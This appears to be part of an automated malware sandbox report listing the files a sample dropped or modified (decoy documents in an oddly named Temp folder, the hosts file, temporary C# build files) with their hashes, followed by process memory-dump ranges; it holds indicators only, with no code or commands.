                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\BackupApprove.odt
                                                                                                                Filesize

                                                                                                                249KB

                                                                                                                MD5

                                                                                                                39c756b7f13f7f6e1a28510c609a7093

                                                                                                                SHA1

                                                                                                                af67e40647d825282a31070724f0328ae086bfc8

                                                                                                                SHA256

                                                                                                                e167b3d043700610d3affd9f78fae39e3aa6b8a1895071b4985befc1753f70d4

                                                                                                                SHA512

                                                                                                                eef4c5822feb797a13b6baea280eee6a5aac036bf4e28500249e4b732d16f9d47fe44d15717c8784cdd765d2e6a2a5db739e6fd702722fed464657e07a96dddd

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\DisableSearch.xlsx
                                                                                                                Filesize

                                                                                                                214KB

                                                                                                                MD5

                                                                                                                58c769e3500903fe526ec73b820c85f1

                                                                                                                SHA1

                                                                                                                c0ba88eeb0b2c2644d8ca7c059388d8681e9418f

                                                                                                                SHA256

                                                                                                                ac1096842ed2aee5ea8d35cc6889ca5af7862c5486ffb5c9847823db496f1f66

                                                                                                                SHA512

                                                                                                                8780a4b7ef95a8ffca35cbafc929acb485fb11522d2bc2c8523a474d7721c1593f60774c74d40674cad920e798bcd01d8ee102b85fba6e4bac26b58accad18b2

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\Files.docx
                                                                                                                Filesize

                                                                                                                11KB

                                                                                                                MD5

                                                                                                                4a8fbd593a733fc669169d614021185b

                                                                                                                SHA1

                                                                                                                166e66575715d4c52bcb471c09bdbc5a9bb2f615

                                                                                                                SHA256

                                                                                                                714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

                                                                                                                SHA512

                                                                                                                6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\Opened.docx
                                                                                                                Filesize

                                                                                                                11KB

                                                                                                                MD5

                                                                                                                bfbc1a403197ac8cfc95638c2da2cf0e

                                                                                                                SHA1

                                                                                                                634658f4dd9747e87fa540f5ba47e218acfc8af2

                                                                                                                SHA256

                                                                                                                272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

                                                                                                                SHA512

                                                                                                                b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\Recently.docx
                                                                                                                Filesize

                                                                                                                11KB

                                                                                                                MD5

                                                                                                                3b068f508d40eb8258ff0b0592ca1f9c

                                                                                                                SHA1

                                                                                                                59ac025c3256e9c6c86165082974fe791ff9833a

                                                                                                                SHA256

                                                                                                                07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

                                                                                                                SHA512

                                                                                                                e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\RevokeSwitch.xlsx
                                                                                                                Filesize

                                                                                                                188KB

                                                                                                                MD5

                                                                                                                fd2670bf1560ec08d64dd2f005f9b96b

                                                                                                                SHA1

                                                                                                                167f5d24d80f2f88688cbde95ebef7136b9b9f73

                                                                                                                SHA256

                                                                                                                2475da3509c1670190c69cebc7a029cfdb312a5e42ee721d1d79a72ccdd88ff6

                                                                                                                SHA512

                                                                                                                e612ab1e41d2d3b7c10dbe5d767b188fed09159782272b4b55a802d51ae0ec34838782499b32b274abdcb2f16f134dd84c9f7666bd4a320469ed66fed5a13108

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\These.docx
                                                                                                                Filesize

                                                                                                                11KB

                                                                                                                MD5

                                                                                                                87cbab2a743fb7e0625cc332c9aac537

                                                                                                                SHA1

                                                                                                                50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

                                                                                                                SHA256

                                                                                                                57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

                                                                                                                SHA512

                                                                                                                6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\   ​ ‌    \Common Files\Documents\UninstallInitialize.doc
                                                                                                                Filesize

                                                                                                                196KB

                                                                                                                MD5

                                                                                                                c0844c685bf860e336d628690055ac00

                                                                                                                SHA1

                                                                                                                00512492bb93bbda52f777b96df25463d16f913a

                                                                                                                SHA256

                                                                                                                8b90991f86dca6edd8683907542fe34a51d7a17f9615cb62d26e797c6d9489a2

                                                                                                                SHA512

                                                                                                                be7ded351cc2838eaaa9ca201c07f00e0a76571fe951ac76ee1d82120df5ef5be4ef9204f51c78acb495340eab0007c50f1728fcc78db5c3a9a874cd8c0eb7c9

                                                                                                              • C:\Windows\System32\drivers\etc\hosts
                                                                                                                Filesize

                                                                                                                2KB

                                                                                                                MD5

                                                                                                                f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                                                SHA1

                                                                                                                e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                                                SHA256

                                                                                                                a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                                                SHA512

                                                                                                                c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\kdg04l1i\CSC87C213146C6D46FE8D631E393C5ECA4.TMP
                                                                                                                Filesize

                                                                                                                652B

                                                                                                                MD5

                                                                                                                01d2d567eba57726d11b66e8a26c36e6

                                                                                                                SHA1

                                                                                                                ae0863f504ebfaa2426dc1fc61c6a0f8f68584be

                                                                                                                SHA256

                                                                                                                5b7e46214a4be7615048e6500ebfd5af0969229ffed218f626159e81bd48c386

                                                                                                                SHA512

                                                                                                                f8dc7b7dee0d59a92505cd93983029560bf65651673c57f8ca77ba2150137fc337fdb6438643ae77b9d469e1882c220e5d1a489977d64f7da0abe1d2d7a7f201

                                                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\kdg04l1i\kdg04l1i.0.cs
                                                                                                                Filesize

                                                                                                                1004B

                                                                                                                MD5

                                                                                                                c76055a0388b713a1eabe16130684dc3

                                                                                                                SHA1

                                                                                                                ee11e84cf41d8a43340f7102e17660072906c402

                                                                                                                SHA256

                                                                                                                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                                                SHA512

                                                                                                                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\kdg04l1i\kdg04l1i.cmdline
                                                                                                                Filesize

                                                                                                                607B

                                                                                                                MD5

                                                                                                                cbd565eab123761f9601051e665c0c71

                                                                                                                SHA1

                                                                                                                ef2f7c0e12084b94a9b24733efa09b5a23e837d1

                                                                                                                SHA256

                                                                                                                dfb7ae7ed8db18c96c262b742d43c379be3f9ba9406ef75901246e5864db8de4

                                                                                                                SHA512

                                                                                                                8e4296f3d6cc9881c4e80714c78085662e89251093ff83ed8da5bf6d1571657be15e3240aedc041d7ceb33dde5da7ade519fab5376dfd4547c2b966e6cb5f47b

                                                                                                              • memory/4532-314-0x00007FFEF87A0000-0x00007FFEF8CC0000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.1MB

                                                                                                              • memory/4532-47-0x00007FFF0CB90000-0x00007FFF0CBB3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-80-0x00007FFF09F30000-0x00007FFF09F3D000-memory.dmp
                                                                                                                Filesize

                                                                                                                52KB

                                                                                                              • memory/4532-81-0x00007FFEF8680000-0x00007FFEF879C000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.1MB

                                                                                                              • memory/4532-25-0x00007FFEF9A50000-0x00007FFEFA039000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.9MB

                                                                                                              • memory/4532-79-0x00007FFF09090000-0x00007FFF090BD000-memory.dmp
                                                                                                                Filesize

                                                                                                                180KB

                                                                                                              • memory/4532-267-0x00007FFF094D0000-0x00007FFF094F3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-76-0x00007FFF09230000-0x00007FFF09244000-memory.dmp
                                                                                                                Filesize

                                                                                                                80KB

                                                                                                              • memory/4532-71-0x00007FFEF9A50000-0x00007FFEFA039000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.9MB

                                                                                                              • memory/4532-73-0x00000277C0430000-0x00000277C0950000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.1MB

                                                                                                              • memory/4532-72-0x00007FFEF87A0000-0x00007FFEF8CC0000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.1MB

                                                                                                              • memory/4532-68-0x00007FFEF8CC0000-0x00007FFEF8D8D000-memory.dmp
                                                                                                                Filesize

                                                                                                                820KB

                                                                                                              • memory/4532-66-0x00007FFF09470000-0x00007FFF094A3000-memory.dmp
                                                                                                                Filesize

                                                                                                                204KB

                                                                                                              • memory/4532-64-0x00007FFF0C810000-0x00007FFF0C81D000-memory.dmp
                                                                                                                Filesize

                                                                                                                52KB

                                                                                                              • memory/4532-62-0x00007FFF094B0000-0x00007FFF094C9000-memory.dmp
                                                                                                                Filesize

                                                                                                                100KB

                                                                                                              • memory/4532-60-0x00007FFEF9710000-0x00007FFEF9887000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.5MB

                                                                                                              • memory/4532-313-0x00007FFEF8CC0000-0x00007FFEF8D8D000-memory.dmp
                                                                                                                Filesize

                                                                                                                820KB

                                                                                                              • memory/4532-56-0x00007FFF0D660000-0x00007FFF0D679000-memory.dmp
                                                                                                                Filesize

                                                                                                                100KB

                                                                                                              • memory/4532-54-0x00007FFF09090000-0x00007FFF090BD000-memory.dmp
                                                                                                                Filesize

                                                                                                                180KB

                                                                                                              • memory/4532-303-0x00007FFEF9A50000-0x00007FFEFA039000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.9MB

                                                                                                              • memory/4532-318-0x00007FFEF9710000-0x00007FFEF9887000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.5MB

                                                                                                              • memory/4532-312-0x00007FFF09470000-0x00007FFF094A3000-memory.dmp
                                                                                                                Filesize

                                                                                                                204KB

                                                                                                              • memory/4532-311-0x00007FFF0C810000-0x00007FFF0C81D000-memory.dmp
                                                                                                                Filesize

                                                                                                                52KB

                                                                                                              • memory/4532-75-0x00007FFF0CB90000-0x00007FFF0CBB3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-58-0x00007FFF094D0000-0x00007FFF094F3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-304-0x00007FFF0CB90000-0x00007FFF0CBB3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-317-0x00007FFEF8680000-0x00007FFEF879C000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.1MB

                                                                                                              • memory/4532-310-0x00007FFF094B0000-0x00007FFF094C9000-memory.dmp
                                                                                                                Filesize

                                                                                                                100KB

                                                                                                              • memory/4532-333-0x00007FFEF8680000-0x00007FFEF879C000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.1MB

                                                                                                              • memory/4532-339-0x00007FFF094D0000-0x00007FFF094F3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-340-0x00007FFEF9710000-0x00007FFEF9887000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.5MB

                                                                                                              • memory/4532-338-0x00007FFF0D660000-0x00007FFF0D679000-memory.dmp
                                                                                                                Filesize

                                                                                                                100KB

                                                                                                              • memory/4532-337-0x00007FFF09090000-0x00007FFF090BD000-memory.dmp
                                                                                                                Filesize

                                                                                                                180KB

                                                                                                              • memory/4532-336-0x00007FFF0EE80000-0x00007FFF0EE8F000-memory.dmp
                                                                                                                Filesize

                                                                                                                60KB

                                                                                                              • memory/4532-335-0x00007FFF0CB90000-0x00007FFF0CBB3000-memory.dmp
                                                                                                                Filesize

                                                                                                                140KB

                                                                                                              • memory/4532-334-0x00007FFEF9A50000-0x00007FFEFA039000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.9MB

                                                                                                              • memory/4532-332-0x00007FFF09F30000-0x00007FFF09F3D000-memory.dmp
                                                                                                                Filesize

                                                                                                                52KB

                                                                                                              • memory/4532-331-0x00007FFF09230000-0x00007FFF09244000-memory.dmp
                                                                                                                Filesize

                                                                                                                80KB

                                                                                                              • memory/4532-329-0x00007FFEF8CC0000-0x00007FFEF8D8D000-memory.dmp
                                                                                                                Filesize

                                                                                                                820KB

                                                                                                              • memory/4532-328-0x00007FFF09470000-0x00007FFF094A3000-memory.dmp
                                                                                                                Filesize

                                                                                                                204KB

                                                                                                              • memory/4532-327-0x00007FFF0C810000-0x00007FFF0C81D000-memory.dmp
                                                                                                                Filesize

                                                                                                                52KB

                                                                                                              • memory/4532-326-0x00007FFF094B0000-0x00007FFF094C9000-memory.dmp
                                                                                                                Filesize

                                                                                                                100KB

                                                                                                              • memory/4532-330-0x00007FFEF87A0000-0x00007FFEF8CC0000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.1MB

                                                                                                              • memory/4532-48-0x00007FFF0EE80000-0x00007FFF0EE8F000-memory.dmp
                                                                                                                Filesize

                                                                                                                60KB

                                                                                                              • memory/4604-249-0x0000024C2D9B0000-0x0000024C2D9B8000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4996-91-0x0000024CA1C40000-0x0000024CA1C62000-memory.dmp
                                                                                                                Filesize

                                                                                                                136KB